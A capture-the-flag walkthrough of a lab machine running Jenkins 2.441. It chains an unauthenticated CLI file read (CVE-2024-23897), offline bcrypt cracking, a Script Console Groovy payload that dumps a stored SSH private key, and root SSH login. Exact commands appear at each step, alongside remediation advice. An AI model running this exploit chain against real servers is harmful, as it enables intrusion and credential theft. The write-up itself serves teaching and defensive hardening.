← all walkthroughs

Builder

Linux· Medium
owned
2026-09-04
time to own
10m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I fingerprinted an internet-facing Jenkins 2.441 CI server and abused an unauthenticated arbitrary file-read vulnerability in its CLI (CVE-2024-23897) to pull the administrator's user configuration straight off disk, exposing a bcrypt password hash. Cracking that hash offline handed over valid Jenkins credentials, which were used to reach the built-in Groovy Script Console — a feature that grants full code execution on the Jenkins master to any authenticated user.

A Groovy payload dumped Jenkins' encrypted credential store, recovering a stored SSH private key. Because the Jenkins process itself ran as root on the host, that 'CI' key turned out to be root's own SSH key, giving me an immediate, unrestricted root shell and full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceService enumeration and HTTP fingerprinting
Mapped exposed services and fingerprinted Jenkins
A port scan showed only two services reachable: SSH on 22 and HTTP on 8080. The web service on 8080 returned Jenkins-specific response headers (X-Jenkins: 2.441, X-Hudson) and its RSS feed self-identified as 'Jenkins:All', confirming an unauthenticated, internet-facing Jenkins 2.441 instance.
X-Hudson: 1.395 / X-Jenkins: 2.441 headers; /rssAll?flavor=rss20 returned <title>Jenkins:All (all builds)</title>
Exact commands 3
Confirm the two open ports: 22/ssh and 8080/http.
nmap -sV -p- $TARGET
Grab response headers; X-Jenkins reveals the exact version.
curl -ksS -L --max-time 15 -D - http://$TARGET:8080/
Unauthenticated feed confirms the app is Jenkins.
curl -ksS -L --max-time 10 "http://$TARGET:8080/rssAll?flavor=rss20"
2Initial AccessCVE-2024-23897 — Jenkins CLI arbitrary file read via args4j @-file expansion
Read arbitrary files from the Jenkins master without authentication
Jenkins <= 2.441 ships a CLI whose args4j argument parser expands any '@filename' argument to that file's contents before validating the command. Since the CLI endpoint requires no authentication, this let me read any file the Jenkins process could access. The admin's user folder name (which contains a random suffix) was first discovered via users.xml, then that folder's config.xml was pulled to obtain the stored bcrypt password hash for user 'jennifer'.
Jenkins 2.441 confirmed vulnerable per version fingerprint; users.xml -> jennifer_<random>/config.xml -> <passwordHash>[REDACTED: recovered credential]</passwordHash>
Exact commands 3
Pull the CLI jar from the target itself.
wget http://$TARGET:8080/jnlpJars/jenkins-cli.jar
Multi-arg command leaks more output per call than 'help'; identifies jennifer's randomized user folder.
java -jar jenkins-cli.jar -s http://$TARGET:8080/ connect-node '@/var/jenkins_home/users/users.xml'
Substitute the real folder suffix found above; output is scrambled/partial, re-run and reassemble. Yields the [REDACTED: recovered credential] password hash.
java -jar jenkins-cli.jar -s http://$TARGET:8080/ connect-node '@/var/jenkins_home/users/jennifer_<random>/config.xml'
FixPatch Jenkins to a version fixed against CVE-2024-23897Critical
WeaknessJenkins 2.441 was exposed to the internet with its CLI reachable pre-authentication. A flaw in how the CLI parses command arguments let anyone read arbitrary files from the Jenkins server without logging in, exposing the admin account's password hash.
FixUpgrade Jenkins to 2.442 / LTS 2.426.3 or later, which disables the vulnerable args4j @-file expansion by default. If an immediate upgrade isn't possible, disable the CLI over remoting (Manage Jenkins > Security > disable the 'CLI over Remoting' protocol) and restrict access to the CLI endpoint at the network layer.
3Credential AccessOffline password cracking (bcrypt, hashcat mode 3200)
Cracked the recovered Jenkins password hash offline
The leaked hash was plain bcrypt behind a '[REDACTED: recovered credential]' prefix. Stripping the prefix and running it through a GPU cracking session against a common wordlist recovered the plaintext password for account 'jennifer' in seconds, giving me valid Jenkins credentials.
Exact commands 2
Strip the '[REDACTED: recovered credential]' prefix, keep only the bcrypt hash.
echo '$2a$10$<hash-from-config.xml>' > jennifer.hash
Mode 3200 is plain bcrypt (NOT 25600/25800). Recovers '[REDACTED: recovered credential]'.
hashcat -m 3200 -a 0 jennifer.hash rockyou.txt
FixEnforce strong, unique passwords for Jenkins accountsHigh
WeaknessThe 'jennifer' account's password ('[REDACTED: recovered credential]') was a common dictionary word, allowing it to be recovered from its bcrypt hash within seconds of offline cracking once the hash was exposed.
FixEnforce a strong password policy (or SSO/SAML) for all Jenkins accounts, require MFA for logins, and rotate any credentials that may have been exposed by the file-read vulnerability above.
4Post-ExploitationJenkins Script Console Groovy code execution (post-authentication RCE)
Used the Jenkins Script Console to dump stored credentials
Logging into the Jenkins web UI as jennifer:[REDACTED: recovered credential] granted access to Manage Jenkins > Script Console, which executes arbitrary Groovy on the Jenkins master with the permissions of the Jenkins process. A Groovy payload used reflection against CredentialsProvider to enumerate the credential store and print the private key material for the stored SSH credential (ID '1'), exfiltrating an OpenSSH private key.
POST /scriptText with Jenkins-Crumb header and Groovy script referencing CredentialsProvider returned 'BEGIN OPENSSH PRIVATE KEY...'
Exact commands 2
Authenticate and obtain a CSRF crumb.
curl -sS -c jenkins.cookies -u jennifer:$PASSWORD2 http://$TARGET:8080/crumbIssuer/api/xml
Dumps the stored SSH private key for credential ID '1' via the Script Console.
curl -sS -b jenkins.cookies -u jennifer:$PASSWORD2 -H 'Jenkins-Crumb: <crumb>' --data-urlencode 'script=def cred = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(com.cloudbees.plugins.credentials.common.StandardCredentials.class, Jenkins.instance, null, null).find { it.id == "1" }; println(cred.privateKey)' http://$TARGET:8080/scriptText
FixRestrict access to the Jenkins Script Console and credential storeCritical
WeaknessAny authenticated user — including a regular, non-administrative account like 'jennifer' — could reach Manage Jenkins > Script Console and run arbitrary Groovy on the master, which was then used to dump every stored credential, including a private SSH key.
FixGrant Overall/Administer (and specifically Script Console access) only to a small set of trusted administrators via Matrix/Role-Based Authorization Strategy. Store credentials scoped to only the jobs/folders that need them, and audit CredentialsProvider usage; consider the Groovy Sandbox or removing Script Console access entirely for non-admins.
5Privilege EscalationPrivileged service credential exposure (CI process running as root)
Authenticated to the host as root using the leaked Jenkins credential
Jenkins itself was running as root on the host, so the SSH private key it had been configured to use for automation was root's own key rather than a scoped deployment account's. Loading that key and connecting over SSH produced an immediate root shell with no further exploitation needed.
Ssh root@$TARGET /usr/bin/id -> uid=0(root) gid=0(root) groups=0(root)
Exact commands 3
Save the exfiltrated private key to a file.
vim id_rsa   # paste the recovered key
SSH requires restrictive permissions on private keys.
chmod 600 id_rsa
Confirms uid=0(root) — no separate local privesc was required.
ssh -i id_rsa root@$TARGET /usr/bin/id
FixRun Jenkins as a dedicated low-privileged service accountCritical
WeaknessThe Jenkins process ran as root on the host, so the SSH private key it held for automation purposes was root's own credential. Any compromise of Jenkins therefore led directly to full root access on the underlying server, with no privilege-escalation step required.
FixRun the Jenkins service under a dedicated, unprivileged system account (e.g. a 'jenkins' user with no sudo rights) and never store host-admin credentials in the Jenkins credential store. Use per-purpose, least-privilege SSH keys restricted with 'command=' / 'from=' options in authorized_keys for any automation that needs to reach other hosts.
6ObjectivePost-compromise objective collection
Captured user and root flags
With a root SSH session established, my read both the low-privileged user's flag and the root flag directly from disk, confirming full compromise of the host.
Find /home -name user.txt; cat /home/jennifer/user.txt; cat /root/root.txt
Exact commands 3
Locate the user flag.
ssh -i id_rsa root@$TARGET find /home -name user.txt -type f -print
Returns <user.txt>.
ssh -i id_rsa root@$TARGET cat /home/jennifer/user.txt
Returns <root.txt>.
ssh -i id_rsa root@$TARGET cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
8080/tcp